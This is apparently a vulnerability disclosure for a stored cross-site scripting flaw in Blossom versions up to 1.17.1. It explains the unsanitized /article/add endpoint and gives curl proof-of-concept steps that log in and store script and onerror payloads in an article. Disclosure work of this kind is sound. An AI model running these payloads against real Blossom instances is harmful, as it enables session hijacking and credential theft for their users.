NeverStopExploiting用户9473
Stored XSS via /article/add in Blossom ≤ 1.17.1
输入“/”快速插入内容
Stored XSS via /article/add in Blossom ≤ 1.17.1
Stored XSS via /article/add in Blossom ≤ 1.17.1
用户9473用户94732月4日修改
BUG_Author: ChengxinXu
Affected Version: Blossom ≤ 1.17.1
Vulnerability Files:
•
blossom-backend/backend/src/main/java/com/blossom/backend/server/article/draft/ArticleController.java
•
blossom-backend/backend/src/main/java/com/blossom/backend/server/article/draft/ArticleService.java
Description:
1.
Stored XSS via Article Creation (/article/add):
◦
The /article/add endpoint accepts user-controlled fields such as name and html without any HTML sanitization or escaping.
◦
The name field is stored directly and later rendered into HTML responses (e.g., temporary article view) without encoding.
◦
This allows an attacker to inject JavaScript payloads that execute in the victim’s browser when viewing the article.
2.
Root Cause:
◦
ArticleController.insert() maps request data into ArticleEntity and saves it without sanitization.
◦
The HTML rendering path (/article/temp/h) outputs HTML directly using ArticleUtil.toHtml().
◦
No HTML sanitization is applied to the name field, and content sanitization is absent or incomplete.
3.
Impact:
◦
Stored XSS that executes in any user’s browser when the article is viewed.
◦
Session hijacking, credential theft, and arbitrary actions on behalf of the victim.
Proof of Concept:
Prerequisites:
•
Authenticated user account
Step 1: Obtain Authentication Token
代码块
curl -X POST http://<target-ip>:9999/login \
-H "Content-Type: application/json" \
-d '{
"username": "blos",
"password": "blos",
"grantType": "password",
"clientId": "blossom"
}'
Step 2: Create an article with XSS payload in name and get temp_key:
代码块
ARTICLE_RESPONSE=$(curl -s -X POST http://localhost:9999/article/add \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "<script>alert(\"XSS\")</script><img src=x onerror=alert(1)>",
"pid": 0,
"markdown": "# Test",
"html": "<h1>Test</h1><script>alert(\"XSS\")</script><img src=x onerror=alert(1)>",
"tags": ["test"]
}')
TEMP_KEY_RESPONSE=$(curl -s -X GET "http://localhost:9999/article/temp/key?id=$ARTICLE_ID&duration=300" \
-H "Authorization: Bearer $TOKEN")
TEMP_KEY=$(echo "$TEMP_KEY_RESPONSE" | jq -r '.data')
echo "Key: $TEMP_KEY"